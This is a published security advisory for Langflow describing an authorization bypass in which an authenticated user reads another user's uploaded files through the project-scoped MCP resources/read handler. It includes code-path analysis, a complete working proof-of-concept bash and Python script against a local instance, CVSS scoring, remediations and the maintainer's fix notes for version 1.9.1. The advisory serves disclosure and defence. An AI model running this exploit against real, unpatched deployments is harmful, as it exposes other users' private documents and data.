Skip to content

Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

High
andifilhohub published GHSA-4hmc-cfm3-w43c Sep 22, 2026

Package

pip langflow (pip)

Affected versions

>= 1.6.8, <= 1.9.0

Patched versions

1.9.1

Description

Summary

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

  • Repository: langflow-ai/langflow
  • Verified on release tag: v1.8.3
  • Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e
  • Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

  1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193
    verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

  2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241
    The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

  3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182
    handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

    storage_service.get_file(flow_id=flow_id, file_name=filename)

    No check ties the supplied flow_id back to the authenticated user or the current project.

  4. src/backend/base/langflow/services/storage/local.py:141-149
    src/backend/base/langflow/services/storage/s3.py:200-217
    The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

  • src/backend/base/langflow/api/v1/mcp_utils.py:102-121
    handle_list_resources(project_id=None) lists files for all flows.
  • src/backend/base/langflow/api/v1/mcp_utils.py:333-380
    handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

  • Langflow is running locally with authentication enabled.
  • Two separate users exist on the same instance.
  • The victim has a flow with an uploaded file.
  • The attacker has access to any project they own.

I verified the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

  • the normal file download route is blocked for the attacker (404)
  • the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$VICTIM_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$ATTACKER_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
  curl -sS -X POST "$BASE/api/v1/flows/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
    | jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
  curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
  printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

export ATTACKER_API_KEY=$(
  curl -sS -X POST "$BASE/api/v1/api_key/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
  curl -sS -o /dev/null -w '%{http_code}' \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    "$VICTIM_URI"
)

export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os

import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client

base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"

async def main():
    async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
            async with ClientSession(read_stream, write_stream) as session:
                await session.initialize()
                result = await session.read_resource(victim_uri)
                blob = result.contents[0].blob
                print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main())
PY
)

echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"

Expected output:

Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact

This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

  • Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
  • Unauthorized access to sensitive business data stored in flow namespaces
  • Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Severity estimate:

  • CVSS v4: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
  • Estimated score: 7.1 (High)

Suggested Remediations

  1. Authorize resources/read against the authenticated context before calling storage.
    Resolve flow_id to a database object and require both:
    flow.user_id == current_user.id
    and, for project-scoped transports, flow.folder_id == current_project_id.

  2. Stop trusting arbitrary file-download URIs as resource identifiers.
    Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

  3. Scope global MCP enumeration helpers to the authenticated user.
    handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing
ownership check in handle_read_resource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 —
confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1
release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR
#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".

  • Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032
  • Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix:

  • handle_read_resource() now requires an authenticated user context and
    resolves the namespace segment of the URI to a Flow row scoped to
    Flow.user_id == current_user.id, additionally filtering on
    Flow.folder_id == project_id for project-scoped MCP servers
    (src/backend/base/langflow/api/v1/mcp_utils.py).
  • Rejects filenames containing .., /, or \ as defense-in-depth against
    path traversal, and applies the same containment check to the storage
    layer's get_file/get_file_stream/delete_file/get_file_size
    (local.py/s3.py, both in langflow and lfx).
  • handle_list_resources() / handle_list_tools() are now scoped to
    current_user.id on the global (non-project) MCP server, closing the
    cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py,
21/21 passing) includes test_handle_read_resource_denies_other_users_flow,
which reproduces this report's exact cross-user scenario and asserts it now
raises ValueError("... access denied").

Severity (High, CVSS v4 7.1) and CWE-639 classification reviewed and
confirmed accurate for the pre-fix behavior.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-105699

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits